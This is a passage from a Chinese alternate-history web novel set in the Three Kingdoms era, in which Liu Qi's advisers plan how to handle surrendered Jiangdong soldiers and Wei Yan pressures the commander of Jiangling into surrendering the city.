“同时,遣使快马报捷襄阳,震慑宵小,稳固内部。” 刘琦的嘴角泛起一丝冷峻的笑意:“江夏,迟早是我囊中之物。” “待我军休整完毕,根基稳固,届时携雷霆之势东进,岂不更稳操胜券?” 第20章 战后析隐患,孔明献三策定乾坤 翌日清晨,雾气如昨日般笼罩在津乡城外大地,而微弱的晨光却怎么也驱不散那弥漫在空气中的血腥与焦糊气味。 而昨日的战场上即便是经过一夜的收拾,也未能收拾干净,不时有还未来得及收拾的地方此刻还传来一两声重伤者的呻吟声。 而津乡城因为没有经历过攻伐,是以,刘琦便在城内过了一夜。 城内之前一官员府邸内,早起是随从快速将四周的油灯点亮着。 刘琦麾下一众文武却早已在大厅内等候着了,跳动的烛光映照着几人彻夜未眠却异常严肃的面容。 少顷。 刘琦揉着揉眉心,努力驱散疲惫。 刘琦刚跨进大厅,见烛火下几人都坐得端正,连眼角的红血丝都没藏住。 刘琦先是愣了愣,随即脸上立刻露出一丝歉然,道:“诸位先生,诸位将军!怎的来得这般早?” “昨夜收拾战场、安顿营寨,俱是劳顿至极,为何不多歇息片刻?倒让我心中甚是过意不去。” 说着刘琦的目光尤其关切地看向在场年纪最长的黄忠,“汉升,您老昨日苦战,最是耗费心力,切莫太过劳累。” 刘琦深知自己根基浅薄,全赖这几位文武辅佐方能立足。 且刘琦性格本就偏于仁厚,又经磨难,深知体恤下属、礼贤下士的重要性,故而言辞间极为真诚,并非虚情假意的客套。 黄忠闻言心中甚是感动,连忙起身抱拳回礼,声若洪钟,中气却依旧十足:“主公放心!末将这把老骨头还硬朗得很!” “昨日区区小战,活动下筋骨罢了,歇息一宿足矣!” 黄忠虽如此说,但眼角的深纹和甲胄上未及完全擦拭掉的血迹,仍昭示着昨日的恶战并非那般轻松。 魏延则是朗声一笑,透着武人的豪迈与直接:“主公,仗打完了,正是精神亢奋的时候,哪里睡得踏实?” “如今属下恨不得立刻提兵再寻那孙策战过一场!”魏延身形魁梧,昨日血战留下的几处轻微创伤似乎更添其彪悍之气。 立于门侧的陈武也微微躬身,沉声道:“护卫主公,职责所在,不敢言累。” 陈武话不多,但目光锐利,时刻扫视着周围,尽显护卫首领的谨慎本色。 诸葛亮与徐庶相视一笑。徐庶开口道:“主公不必挂怀,大战方歇,百事待举,降卒需安置,我与孔明心中皆有思量,但也需与主公早些商议出个章程,方能安心。” 诸葛亮轻摇羽扇,接过话头,语气从容却将话题引向正轨:“主公体恤之心,我等感念。” “然元直所言极是,眼下确有紧要之事,需主公定夺。” 诸葛亮目光扫过厅内众人,最后落在刘琦身上,“譬如,那数千江东降卒,当如何处置?此事关乎我军稳定与发展,还需主公宜早作决断。” 刘琦见众人皆无倦色,心系大事,心中感慨,也不再客套,神色一正,走到主位坐下:“既如此,便有劳诸位了。” “元直,孔明,关于降卒,二位先生可有良策?且细细道来。”说完刘琦看向徐庶 昨日刘琦否决了徐庶乘胜追击孙策光复江夏的决意后,便让徐庶将昨日的详细战果整理出来。 而此时徐庶正将一卷竹简呈上,语气虽带着胜利后的余韵,却更显沉稳:“主公,昨日战果已初步清点。” “我军斩首千余级,俘获江东兵卒三千七百余人,缴获完好战船二十艘,各类军械足可装备两营之众。” “此战,实乃我军前所未有之大捷!” 徐庶话音未落,厅内顿时响起一片振奋的喝彩声。 魏延猛地一拍案几,豁然起身,声如洪钟:“好!痛快!此战杀得江东鼠辈闻风丧胆,看那孙伯符还敢小觑我荆州无人否!” 魏延此时脸上洋溢着毫不掩饰的兴奋与自豪,仿佛昨日血战的疲惫一扫而空。 就连一向沉稳的黄忠,此刻也抚须含笑,眼中精光闪烁,连连点头:“确是大捷!缴获如此之丰,足以让我军实力大增!” 就连按刀立于门侧的陈武,紧抿的嘴角也不由自主地微微上扬,按着刀柄的手似乎也放松了些许,显然也为这辉煌的战果感到振奋。 一时间,厅内原本严肃的气氛被这股胜利的喜悦冲淡了不少,众人士气高昂。 刘琦等众人喝彩过后,才压了压手让众人安静下来,因为接下来如何安置这些降卒才是最为关键的,安置得好,则刘琦军可以吸纳其中精壮军力更上一层楼,若是没安置妥当,则是刘琦在自己军中亲手埋下一枚定时炸弹。 是以,刘琦如今格外需要能妥善安置江东降卒的方法。 徐庶见众人安静下来后,便继续说道:“属下以为,当趁此大胜之威,将此三千余降卒尽数吸纳,编入我军!” “其中精壮骁勇者,可补入各营战兵,即刻形成战力;其余者,亦可充为辅兵、民夫,负责转运粮草、修筑营垒。” “如此,我军兵力可迅速膨胀,弥补损耗,甚至远超战前!” 徐庶这提议听起来极具诱惑。 刘琦闻言,下意识地点头,兵力始终是他最大的短板,若能一口吞下这数千降卒,实力无疑将跃上一个台阶。 然而,刘琦目光扫过帐内,见一旁静坐的诸葛亮羽扇轻摇,眉宇间却似有凝思之色,并未如同往常般立刻赞同徐庶之议。 刘琦心下微动,问道:“孔明先生,你以为元直此策如何?” 诸葛亮缓缓起身,眼中带着一丝血丝,显是昨夜未曾安寝。 面对刘琦的询问,诸葛亮摇了摇羽扇沉声道:“主公,元直之策,乃强军常法,若能成功,自是好事,然则……” 诸葛亮话锋一转,羽扇指向帐外降卒营地方向,“然昨夜所闻,令亮心中难安,亮曾往降卒营区暗行走访,所见所闻,令亮深感忧虑,如鲠在喉,不吐不快。” 原来昨夜诸葛亮深知,降卒处理不当,便是埋下祸根。 诸葛亮不同于寻常将领只观其表,而是深夜亲至营区边缘,隐于暗处,仔细观察那些降卒收营后的神情姿态,偷听他们卸下防备后的私语,从细微处洞察其真实心态。 “先生究竟见到了什么?听到了什么?”刘琦见他说得凝重,不由追问道。 “对呀,对呀!” 不单是刘琦,就连魏延等武将也被勾起心中好奇心,在他们看来,徐庶的建言就很好了,将降卒分出数等,分出精壮老弱以此让他们很方便的就可以吸纳到自己部曲中。 徐庶也是如此,只不过徐庶并没有出言询问,而是一副静待诸葛亮下文的样子。 见厅内众人看向自己,诸葛亮也不再卖关子了。 诸葛亮缓缓起身,手中的羽扇不知何时已停止摇动,轻轻点在掌心。 诸葛亮目光扫过在场众人,最终凝在刘琦脸上,眼神锐利而沉静,仿佛能洞穿人心。 “亮昨夜所见.....”诸葛亮声音虽然不高,却字字清晰,语气中带着一种亲历其境的沉重。 “许多降卒虽垂首束手,然眼中非是顺服,而是屈辱与怨愤。” 诸葛亮稍作停顿,仿佛在回忆昨夜所见的不安景象,眉头微蹙。 “细细察之,从降卒们零星的言语中可知,彼等并非心服口服来降,实乃力竭被擒,刀架颈上之不得已!” “亮更听闻,在夜深人静时,营中多有士卒窃窃私语,” “或思念江东故里的父母妻儿,语带哽咽,低声哭泣;或暗自咒骂我军,赌咒发誓若得脱困,必报此仇!”诸葛亮语气沉凝,仿佛重现昨夜所见。 说完诸葛亮目光扫过魏延、黄忠等将领,让他们感受到那潜藏的敌意,“甚至有人私下低语,期盼孙伯符能尽快重整大军,杀回来解救他们……” 言至此处,诸葛亮抬起头,目光如电,直视刘琦,羽扇“啪”地一声轻敲在案几上,语气陡然变得无比严峻: “主公,诸位试想一番,若将此等心怀异志、思归念切之人,不加甄别,全然编入我行伍之中,” 诸葛亮摊开双手,做出一个容纳而后爆发的姿势,“平日耗费粮饷尚在其次,一旦两军对垒,战况焦灼甚或我军稍显劣势,” 诸葛亮眼神骤然一厉,“这些深埋的隐患必将瞬间爆发,阵前倒戈、从内崩坏,绝非亮危言耸听!” “届时,恐非壮大我军,反是自取祸患之道!望主公明察。” 诸葛亮这一席话,如同冷水泼面,让帐中刚刚因大胜而有些发热的头脑瞬间清醒。 刘琦脸色一肃,背后竟惊出一层细汗。 徐庶亦是恍然,面露惭色,拱手道:“若非孔明先生洞察入微,庶几误主公大事!” 说完徐庶露出自愧不如的表情,向诸葛亮拱手道:“还请先生示下周全之策。” 诸葛亮颔首,羽扇轻摇,显然已成竹在胸:“亮愚见,降卒需分三类,区别处置,方能去芜存菁,化害为利。” “其一,对其将领,如徐盛等,皆乃江东豪杰,素有勇名威望,对此等人,迫降无益,反损其志。” “主公不如暂且先将这些人单独关押,予以礼遇,供给酒食,勿要折辱,待日后局势稳定,我等可徐徐劝降,即便其始终不降,亦可作为与江东交涉的重要筹码,价值远胜杀之或普通囚徒。” “其二,于数千普通士卒中,遣精细可靠之人,逐一筛选访谈,择其年富力强、体格健壮,且神色较为平和、抵触情绪不显者,方可打散编制,掺入我军各营预备队中。” “随后需主公派心腹军吏严加看管与操练,许以‘立功者同赏’,以观后效,此部分人,方是能真正转化为我军战力者。” “其三,亦是关键所在!” 诸葛亮羽扇微顿,目光扫过刘琦与徐庶,声音愈发清晰。 “对于那些明显老弱、带有伤患,以及访谈中情绪激动、思乡情切、直言不愿再为我军效力者,万不可强留军中,徒耗粮饷、埋藏隐患。” 诸葛亮此处思路,显然借鉴了曹操的屯田制,但也结合荆州实际情况进行了变通。 诸葛亮深知乱世中人口和粮食的重要性,既要消除不稳定因素,又要将其转化为可持续的资源。 “亮闻曹孟德在中原,行屯田之策,以俘获之众及流民开垦荒地,军粮由是丰足。” “而我荆州地广,尤以南郡、江夏一带,历经战乱,颇多无主荒地,即便是一些世家豪强,其名下亦有边角贫瘠之地无力垦殖。” “主公何不将此第三类降卒,由我军出面组织起来,择此等荒地或租赁贫地,设立军屯?” “主公可供给他们基本口粮、种子、农具,约定所产粮草,扣除成本后,收成按比例分成。如此,既妥善安置了这批人,免其归乡助敌或啸聚山林为乱,又能将不安定因素转化为劳力,为主公生生不息地产出粮秣,强固根基!” “此乃化枷锁为臂助,岂不胜过白白放归或强行羁縻?” 刘琦听完这层层递进、思虑周详的三策,豁然开朗,心中阴霾尽去,忍不住击节赞叹: “妙!妙啊!先生洞若观火,思虑深远,真乃国士之才!此策既安内又实基,琦拜服!” “元直,就依孔明先生之计!立刻着手,将江东降卒细致筛选,筹建屯田事宜,万不可出纰漏!” “主公放心,属下必竭尽全力,将此事办妥!”徐庶心悦诚服,领命而去,心中对诸葛亮更是钦佩。 待降卒事宜议定,诸葛亮神情却未放松,反而更加肃然,他将羽扇轻轻放在案上,看向刘琦:“主公,降卒之事,虽需谨慎,终是疥癣之疾。” “眼下有一事,关乎我军存亡根基,关乎主公能否在这荆州真正立足,已是刻不容缓!” 刘琦心神一凛:“先生所指何事?” “江陵!”诸葛亮轻指荆州地图上位于荆州之中的江陵城位置。 第21章 津乡战果震蔡瑁 “江陵?” 刘琦有些不解的看着诸葛亮。 诸葛亮见刘琦面露困惑,语气凝重地进一步解释:“江陵乃荆州重镇,城坚粮足,又据长江之险。” “主公若得此地,外可御江东之兵,内可慑襄阳之众。” “今蔡蒯之辈专权襄阳,异日若生变故,公子手握江陵精兵,进可争衡荆楚,退可自保无虞。” “若一味满足于江夏太守,一旦刘荆州不讳,彼等矫命立嗣,公子远在江夏,何以相抗?” “届时非但主公名位难保,恐性命亦在他人掌中矣!” 诸葛亮再为刘琦解惑后毫,继而详陈江陵之重要:“江陵乃荆州心腹,非虚言也!” “其府库粮米堆积如山,足有五万石之巨,可供万人大军三年之食! “且赋税年入占全荆州三成!更有荆州最大军械作坊,月产铠甲五百、长矛过千。” “黄祖遗留之船坞中,尚有战船五十余艘,造船巨木堆积如山,此乃何等雄厚之资?” “再看地势,” 诸葛亮手指蘸水,在案上粗略勾勒:“溯汉水而上,精锐水师三日可兵临襄阳城下;顺大江而下,则扼住长江咽喉,荆南四郡钱粮北运,必经此地,卡住江陵,便卡住了荆州命脉!” “此处更是连接南北、贯通东西之战略枢纽,水师屯驻,东可拒孙权,西可防益州,实乃进可攻、退可守之根本之地!” “而今,天赐良机!”诸葛亮声音陡然提高,“孙策新败溃退,江陵守将傅芳兵力空虚,城内人心惶惶,无所依恃!” “主公正可借协防之名,以抵御江东可能之反扑为理由,速速引兵入城,造成既成事实!待安稳之后,再行文禀报州牧,届时木已成舟,蔡瑁纵有万般不满,急切间也难以翻转!” 刘琦闻言再无犹豫,猛地站起身:“先生之言,如拨云见日!” 接着刘琦对着厅内魏延、黄忠下令道:“时不我待!文长,你即刻点齐你部五百精锐为先锋,勿必抢在蔡瑁反应之前,接管江陵!!” “末将领命!”魏延兴奋抱拳。 津乡至江陵不足五十里,魏延率部疾行,当日落日之前,魏延的旗号已出现在江陵城下。 .................... 而与此同时,当阳至江陵的官道上,马蹄声如雷,卷起的尘土遮天蔽日。 蔡瑁身着银甲,勒马走在一万襄阳精锐的最前方,嘴角始终挂着一抹自负的笑意。 蔡瑁手中马鞭轻轻敲打马鞍,脑海里反复推演着接下来的“好戏”——刘琦那竖子不知天高地厚,竟敢横渡云梦泽去截孙策的后路,简直是自寻死路! 在蔡瑁看来,孙策乃“江东小霸王”,连黄祖都能阵斩,刘琦手里不过几千郡兵和刚接手的五千襄阳卒,就算侥幸拦住孙策,也定会被打得岌岌可危,最后只能眼巴巴等着他带着这一万精锐来救场。 到时候,蔡瑁便以“救世主”的姿态出现,先当众斥责刘琦“冒失行事”,再逼着刘琦交出江夏兵权,让这小子知道,荆州的兵权到底是谁说了算。 “将军,前面就是十里坡,天色已晚,是否扎营歇息?”身旁的副将低声请示。 蔡瑁抬头看了眼渐暗的天色,马鞭一扬:“扎营!让弟兄们好好歇息,明日一早便加速赶往江陵” “咱们得赶在刘琦那竖子被孙策打垮前,去‘救’他一命!” 蔡瑁在说道救字上时,嘴角划起一道幅度。 副将应声而去,营地很快搭建起来,篝火噼啪作响,士卒们忙着埋锅造饭,空气中弥漫着粟米的香气。 蔡瑁的中军帐内,参军郭图正捧着陶碗吃饭,碗里是糙米饭拌着酱肉,吃得正香。 郭图作为蔡瑁心腹自然是跟蔡瑁一样,打心底里瞧不上刘琦 往日里没少说这长公子是“软蛋一个,只会躲在暖房里跟侍女厮混”。 就在这时,帐外突然传来一阵急促的脚步声,斥候连滚带爬地冲进来,声音带着颤抖:“都...都督津乡急报!” “长公子他……他在津乡大破江东军了!” 郭图正扒着饭,听到这话猛地一愣,手里的陶碗没拿稳,“哐当”一声扣在案几上,糙米饭混着酱肉撒了满案。 郭图顾不上擦拭案几上的饭粒,瞪大了眼睛追问:“你说什么?” “刘琦那个软蛋……能打赢孙策?” 斥候喘着粗气,点头如捣蒜:“千真万确!” 随后斥候喘了几口粗气,细说津乡之战。 “长公子率部在津乡围住孙策,长沙校尉黄忠一箭射伤孙策肩胛骨,周泰战死,还俘获了徐盛等十二员江东将校!” “孙策在部将周泰拼死断后之下带着残兵坐船逃了,此战寇掠江陵的江东军基本全军覆没!” 斥候说完,蔡瑁帐内瞬间死寂,只有篝火的噼啪声格外刺耳。 蔡瑁脸上的笑意僵住,手指紧捏着筷子,指节越攥越紧,最后被蔡瑁直接捏断,发出一声咔嚓声。 良久。 “不可能!” 蔡瑁猛地将手中陶碗“哐当”一声扣在案几上,案上的竹简散落一地:“击溃孙策...阵斩周泰...生擒徐盛...” 蔡瑁几乎是咬着牙,一个字一个字地从牙缝里挤出这些战报,“刘琦... “刘琦,你怎敢...你何时有了这等能耐?!” 一时间一股难以言喻的惊怒和前所未有的寒意席卷了蔡瑁全身。 那个在蔡瑁印象中唯唯诺诺、只知饮酒作乐的纨绔子弟,如今竟在战场上取得了连蔡瑁他都不敢想象的辉煌胜利。 之前横渡云梦泽毫发无损,蔡瑁还可以嘴硬说句走了狗屎运,这击败孙策是实打实的军功和威望! 此战之后,荆州上下谁还敢小觑这位长公子? 刘琦之前在父亲面前那点“不堪重用”的评语,此刻显得如此苍白可笑。 这时,郭图走上前来抓住斥候的衣领,面带不敢置信,质问起斥候: “孙策乃江东小霸王,麾下精锐无数,刘琦手里就那点破兵,怎么可能打赢?你是不是探错了消息?” “参....参军,小人怎敢谎报!” 斥候吓得趴在地上,“津乡附近的百姓都看见了,江东军的尸体堆得像小山,刘琦的‘刘’字大旗都插到了江边!”. 郭图也缓过神来,脸色凝重对蔡瑁说道:“都督,这事恐怕是真的。” 蔡瑁的指节仍死死攥着断裂的筷子,指腹被竹茬硌出红痕,却浑然不觉,对于郭图的话,他只觉得废言尔。 蔡瑁治军素来严谨,斥候传报需经三重核验,断无谎报军情、拿性命赌前程的道理。 那“刘琦破孙策、斩周泰、擒徐盛”的消息,纵然刺耳,却已是板上钉钉的事实。 尽管帐内摆着数盆篝火,但此时蔡瑁只感觉一股寒意从脚底窜上后颈。 刘琦破孙策的表现让蔡瑁猛地想起一个月前襄阳府衙的场景: 刘琦垂着眉眼站在刘表身侧,语调温顺得近乎卑微,说什么“父亲年迈,孩儿愿往江夏,替父亲挡下孙策,为荆州分忧”。 那时蔡瑁只当刘琦这长公子是被蔡蒯两家逼得走投无路,才硬着头皮接下这烫手山芋,甚至暗笑对方自不量力——江夏乃四战之地,孙策又是“江东小霸王”,刘琦手里那点郡兵,怕不是送上门的肥肉。 可如今再想,刘琦哪里是什么走投无路? 分明是借着“分忧”的由头,借机挣脱襄阳这个牢笼,再借着抗孙的名头,暗中练军、藏拙蓄力! “此子……心机竟深到这般地步!” 蔡瑁咬牙低吼,指腹狠狠按在案几上,将散落的竹简按得发出咯吱声响。 “江夏...江夏太守...” 蔡瑁猛地站起身,在书房内焦躁地踱步。 蔡瑁之前刘琦请求去江夏时没有出言阻止,本是打着让刘琦去送死、顺便打发走麻烦的算盘。 可现在..... 突然,蔡瑁脚步一顿,瞳孔骤然收缩。 一个更可怕的念头如同闪电般劈入蔡瑁的脑海。 “江陵!” 蔡瑁突然失声低吼,脸色瞬间变得煞白。 “刘琦大胜之后,兵力折损必然需要休整补充,孙策败退,江东短期内无力西顾...” “那他下一步会去哪里?他还能去哪里?!” 说着蔡瑁猛地扑到帐边上的荆州舆图上,手指颤抖地划过汉水,最终重重地点在江陵之上! “粮草!军械!战船!城池!水路枢纽!” 每说一个词,蔡瑁的心就往下沉一分,冷汗瞬间浸透了后背的衣衫。 “若让刘琦占据江陵,凭借此战声威,收编黄祖残部,掌控江夏、长沙,再握有江陵巨城粮秣...届时他进可沿汉水北上威逼襄阳,退可割据荆南与我分庭抗礼!” “这荆州,哪里还有我与琮儿的立足之地?!” “绝不可能!江陵绝不可落入此子之手!” 一瞬间巨大的恐惧和决绝的杀意瞬间淹没了蔡瑁。 蔡瑁猛地转身,几乎是咆哮着对门外亲卫下令: “快!取我兵符印信!” “立刻飞马传令给江陵守将傅芳!” “让他紧闭城门,没有我的命令,绝不允许刘琦一兵一卒入城!” “违令者斩!” ---------------- 当江陵守将傅芳接到蔡瑁的八百里加急信件时,正在江陵的城墙上巡逻。 春末的风已带了几分夏的燥热,吹在江陵北门城头,卷起傅芳甲胄上的灰尘。 傅芳看完蔡瑁信件后,后背的汗水早把内衬浸得湿透,黏腻地贴在皮肤上,可傅芳半点暖意都觉不到,只觉得一股寒气从脚底窜上来,顺着脊梁骨往头顶钻。 傅芳低头盯着信件上“绝不许刘琦所部入城,必要时可动用武力”这行字,眉头紧皱,心中只感觉一阵蛋疼。 傅芳指腹反复摩挲着信件,把信件上的字迹都快磨的含糊不清了。 嘴里却无意识地重复着:“严防死守……必要时动用武力……” 傅芳每说一个字,傅芳都觉得嘴里发苦,像是吞了半把黄连。 傅芳抬起头,目光扫过脚下的江陵城——城墙绵长,青砖黛瓦连绵成片,江风吹过,连远处船坞的桅杆都看得清晰。 这偌大的江陵城,是荆州腹心,是粮秣军械堆积之地,可守着它的,只有他傅芳以及手里一千老弱兵卒。 “一千人……” 傅芳苦笑一声,声音低得像蚊子哼。 “还要分五十人守武库,五十人看粮库,三十人盯着船坞……真正能上城的,满打满算不过八百出头。” 傅芳抬手揉了揉发胀的太阳穴,眼前仿佛晃过昨日从探子探回来的关于津乡之战的军报。 津乡战报里的字句——刘琦大破孙策,阵斩周泰,生擒徐盛。 那可是刚打赢“江东小霸王”的主儿,威名正盛,麾下魏延、黄忠皆是能征善战之辈的长公子。 就自己这点老弱,别说“动用武力”,怕是连长公子的先锋都挡不住吧。 傅芳的目光又落回那封急信上,指腹划过“蔡瑁手信”的印记,心里更是发虚。 这不是荆州牧刘表的令箭,只是蔡都督的私人手信。 刘琦若是来了,以“长公子”的身份,再打着“协防江陵、防备江东反扑”的名义要入城,傅芳凭什么拦? “凭什么?” 傅芳喃喃自语,脚步无意识地在城头踱了两步,“以蔡都督的命令?” “还是以我这一千老弱?” 且就算侥幸拦下来,万一日后真的是长公子继位...... 虽然当下是蔡都督势大,且长公子已被驱逐去了江夏,但日后的事,谁又说得准呢? 可若是开城迎接……傅芳心里猛地一沉。 蔡瑁在荆州的权势,傅芳比谁都清楚——兵权在握,蔡蒯两家盘根错节,连刘表都要让三分。 傅芳若是敢违抗蔡瑁的军令,日后蔡瑁清算起来,他傅芳全家都得跟着遭殃,照样是死路一条。 傅芳停下脚步,望着城外空荡荡的官道,只觉得自己像被扔在了两座巨大的山岳之间。 一边是手握兵权、心狠手辣的蔡瑁,一边是刚立大功、势头正盛的长公子刘琦,他这小小的守将,不过是两粒山岳间的尘埃,无论倒向哪一边,都只会被碾得粉身碎骨。 “唉——”一声重重的叹息从傅芳喉咙里滚出来,带着无尽的无力感。 傅芳抬手把急信塞进怀里,心里却焦躁得像着了火。 “这简直是把我放火上烤啊……” 这时一股江风又吹来了,带着江水的湿气,吹得城头上的旗帜哗哗作响,但却吹不散傅芳心头的愁云。 傅芳不知道自己最终该选哪条路,但他清楚,决定他命运的时刻,已经不远了。 第22章 魏延叩关夺江陵,刘琦入城定根基 当西垂落日将霞光泼洒在江陵城头时,城北官道上就传来一阵急促的马蹄声,惊起城头上一众守军的注意。 魏延勒住马缰,胯下战马打了个响鼻,喷出的白气混着尘土,在晨雾里散成一团。 而魏延身后,五百精锐部曲列成整齐的方阵,甲胄上还沾着昨日津乡之战的血渍,连空气都透着股肃杀劲儿。 “城上听着!” 魏延嘞了勒马缰绳,驱马走前几步,身子微微侧转,右手手臂一扬,矛尖直指城头,对着那些惊疑不定、交头接耳的守军厉声喝道: “某乃魏延魏文长,奉长公子刘琦之命,率部协防江陵!尔等速开城门!” 这时得知魏延到来的傅芳恰好登上城头,听见魏延这声喊,心里“咯噔”一下,果然来了! 傅芳低头往下瞅,看清魏延那副凶神恶煞的模样,还有底下士卒眼里的狠劲儿,后背瞬间就冒了汗。 傅芳硬着头皮回话,声音中带点点虚。 “原来是魏..魏将军啊,不是在下不给开门,而是蔡都督已经下了口谕无他手谕或州牧虎符,谁来都不能开城门!” 末了,傅芳又加了句,“这是死令,在下不敢违啊!” 说完后傅芳心里那叫一个苦啊,好不容易在孙策的突袭下保住江陵没陷入敌手,正当傅芳准备吃着小酒,听着小曲等着刘表封赏时却被蔡瑁一封手信给全搅了。 一边是顶头上司加权倾荆襄蔡瑁的死命令,另一边是声名鹊起、刀快人狠的长公子爱将。 开罪哪边都够他傅芳喝一壶的。 真是神仙打架凡人遭殃啊! “死令?” 魏延像是听见天大的笑话,突然暴喝: “蔡瑁那厮的私令,也配叫死令?” “长公子为保江陵,冒死横渡云梦泽,带着咱们阵斩周泰,力挫孙策小儿,保全的是荆州东境!” “彼时蔡瑁何在?” “回答我!嗯?!” 魏延说着又拍马又进两步,直接来到了江陵护城河旁,抬眼望去,城头上士卒的面容已清晰可见。 魏延抬手,矛尖直指傅芳声音陡然拔高,如同炸雷:“如今长公子凯旋之师回防江陵,竟被阻于自家城外,天下可有这般道理?!” “傅芳,你身着刘氏甲胄,食荆州俸禄,究竟效忠蔡氏,还是这荆州之主刘氏?!!” “他日长公子掌权之时,你就是那阻挠功臣、依附权奸的罪人!这城门,你开是不开?!” 魏延这话实在是太重了! 简直就是诛心之论! 城头上下的守军士卒面面相觑,不少人眼神闪烁,下意识地离傅芳远了几步。 谁不知道长公子刚刚立下泼天大功?蔡都督虽然势大,但将来这荆州谁说了算,还真不好说。 望着城头上的骚动,魏延有些自得的摸了摸下颚。 这时一个年轻裨将急忙拽了拽傅芳衣袖,压低声音急道:“将军,三思啊!” “我听闻那魏延部下可都是能硬挡孙策亲兵的狠角色,我等这一千老弱,连人家塞牙缝都不够! “而蔡都督远在数十里外,等他来援,咱们早成刀下亡魂了!” 另一个文吏模样中年人的也凑过来,急声道:“是啊将军,长公子乃州牧长子,日后继位名正言顺!” “咱们何必为了蔡家的事,把自己的身家性命都赌上去?” |“开了门,最多算个服从强令,日后还有转圜余地;若是不开…”中年人文吏没再说下去,但意思谁都懂。 傅芳偷偷瞥了眼身边的守军,好些人都低着头,不敢跟城下对视,手里的兵器也握得松了。 傅芳此时心里跟翻江倒海似的。 一边是蔡瑁的严令,违了就得开罪蔡瑁,而开罪蔡瑁的下场,那就是日后蔡瑁自然不会给他好果子吃。 而一边是魏延的刀片子,硬扛着城就得破。 一个是现在,一个是未来。 傅芳内心天人交战良久,脸色白了又青,青了又白。 最终,傅芳还是觉得当下更重要。 傅芳重重地叹了口气,似被抽尽力气,摆了摆手:“开……开城门!” 顿了顿,傅芳又赶紧补充:“不过只许魏将军带十个亲兵进来,其余部曲先在城外扎营!” 虽然傅芳选择了当下,但蔡瑁那边他也试图尽量弥补一下,比如让魏延(刘琦)进城,但城防依旧还在他傅芳手上,至于江陵最后的归属权,那就等蔡都督到了让他自个去和长公子争夺了。 傅芳还想将江陵这块烫手的山芋直接抛给蔡瑁刘琦两人,这样的想法,可谓是既天真又可笑。 是以魏延毫不留情的嘲笑道。 “傅将军倒是会打小算盘!” 魏延咧嘴一笑,露出两排白牙,看着更吓人了。 “老子没空跟你啰嗦,要么全开,要么老子现在就带兵冲进去!” “你选一个!” 傅芳脸一阵红一阵白,最后只能咬着牙挥手:“全……全开!” 城门“嘎吱嘎吱”地缓缓打开,魏延催马就往里缓缓走去,身后的精锐跟潮水似的跟着,密集的脚步声震得地面都在颤。 魏延进城没多久,刘琦就带着主力在天黑之前赶到了江陵城下。 而刘琦早就通过斥候回报,知道了魏延已经接管了江陵城防,是以刘琦直接率领大军长驱而入。 而城门两旁的则是前江陵守将傅芳带着一众属官“恭迎”在道旁,头都快低到膝盖了。 刘琦骑在马上,目光平静地扫过傅芳等人,并未过多苛责,只是淡淡道: “傅将军恪尽职守,并无大错,起来吧,此后还需诸位同心协力,共守江陵。” 刘琦这话让傅芳等人稍稍松了口气,却也不敢完全放心。 刘琦深知刚入江陵,稳定压倒一切。 过分追究傅芳,只会逼反旧人。 而展现宽容,既能安抚人心,也显自己气度。 入城后,刘琦没先去府邸,而是直接一连串命令如流水般发出。 “陈武!”刘琦喊了一声,身后的陈武立马应道:“主公!” “即刻率两千士卒,把府库、粮库、军械作坊全接管了!” “原守库吏卒一律暂调离岗看守!清点数目,登记造册,没有我的手令,一粒米、一张弓都不许动!” “违令者,斩!” “诺!” 陈武领命,带着人就往府库跑,动作麻利得很。 刘琦又转头看向黄忠:“汉升!” “末将在!”黄忠抱拳出列。 “江陵水道乃命脉,您率长沙水师,接管所有码头、船坞、战船!” “同时封锁江面,严密盘查一切往来船只,绝不能让蔡瑁或江东的细作摸进来!” “若有强行闯关者,以敌论处!” “主公放心!有末将在,一只可疑的苍蝇都休想飞进来!” 黄忠拍着胸脯,声音洪亮,说完带着水师将校就去整顿码头。 刘琦这几道命令一下,如同快刀斩乱麻,江陵城的核心要害瞬间易主。 动作之快,让原本还有些小心思的旧吏和豪强瞬间措手不及。 刘琦分派完陈武、黄忠接管粮械与水道等后,已夜色初临,江陵城头灯笼次第亮起,昏黄光晕映着渐凉的晚风。 眼下虽然掌控了江陵城城防以及核心要害,但刘琦知道还有一个最为重要的工作,‘民心’。 当然这里指的民心并不是老百姓,而是江陵城内大大小小的世家豪强,只有争取到他们的认可并且支持,才能从蔡瑁手中夺过江陵城,作为自己的根基。 是以,刘琦转身看向徐庶、诸葛亮,语气恳切:“二位先生,今夜无甚繁文缛节,随我同食,再抵足夜谈如何?” 刘琦说这话里,有意在效仿刘备亲待谋士的心思。 刘琦暗自思忖——刘备能得关张赵死心塌地,更让卧龙凤雏倾心辅佐,除了仁德,那份与谋士将士同甘共苦、推心置腹的姿态,最是动人。 所谓是达者为师,刘备能从一阶织席贩履之辈走到名留青史的汉昭烈帝,其生平事迹都值得刘琦学习。 刘琦话音刚落,诸葛亮羽扇轻轻一顿,眼底掠过一丝笑意,率先拱手应道: “主公推心置腹,亮岂有推辞之理?” 而徐庶亦捻须含笑,紧随其后躬身:“能与主公、孔明抵足论事,共谋荆州前程,庶求之不得。” 刘琦已是江夏太守,如今又夺江陵重镇,手中兵马万余,荆南四郡动荡未定,日后取之易如反掌。 且刘表年事已高,日后继位荆州牧的契机就在眼前。 这般势头,正是谋士一展抱负的良机,而主公肯抛却尊卑,以同食夜谈相待,这份亲厚,比任何许诺都更能安人心。 刘琦见二人应允,当即引着他们往城西而去,那处原是江陵县衙旧府,而魏延在入城后便派部曲打扫妥当了。 少顷。 三人便来到了江陵县衙旧府。 三人踏入偏厅,厅内摆放东西简单,只有三张案几。 案上只摆着两碟酱菜、一碗糙米饭,亲兵刚温好的酒还冒着轻烟。 刘琦坐定后随意扒了两口饭,便搁下筷子,眉头微蹙,对徐、诸葛二人露出几分忧色:“眼下城防、粮械等要害虽握在手里,可我心里悬着块石头。” “江陵原是荆州郡治,就算州牧迁治襄阳,这儿仍是商埠要地,世家豪强扎堆。 “如今他们对我态度不明,万一蔡瑁来攻时,背后给我捅刀子、把我卖了,如何是好?” 诸葛亮闻言思虑片刻后,指尖轻叩案沿:“主公顾虑极是。” “城中世家豪强迟迟不肯表态,无非是两端观望——既怕蔡瑁日后报复,又疑主公根基不牢,不敢轻易站队。” 接着诸葛亮话锋一转,目光落在刘琦身上,语气添了几分笃定: “可主公莫忘了,您是州牧嫡长子,日后自当主公继承荆州大位。” “且主公如今既掌江夏,又夺江陵,麾下兵马过万,粮械充足,论身份、论实力,已与蔡瑁分庭抗礼,并非弱势。” 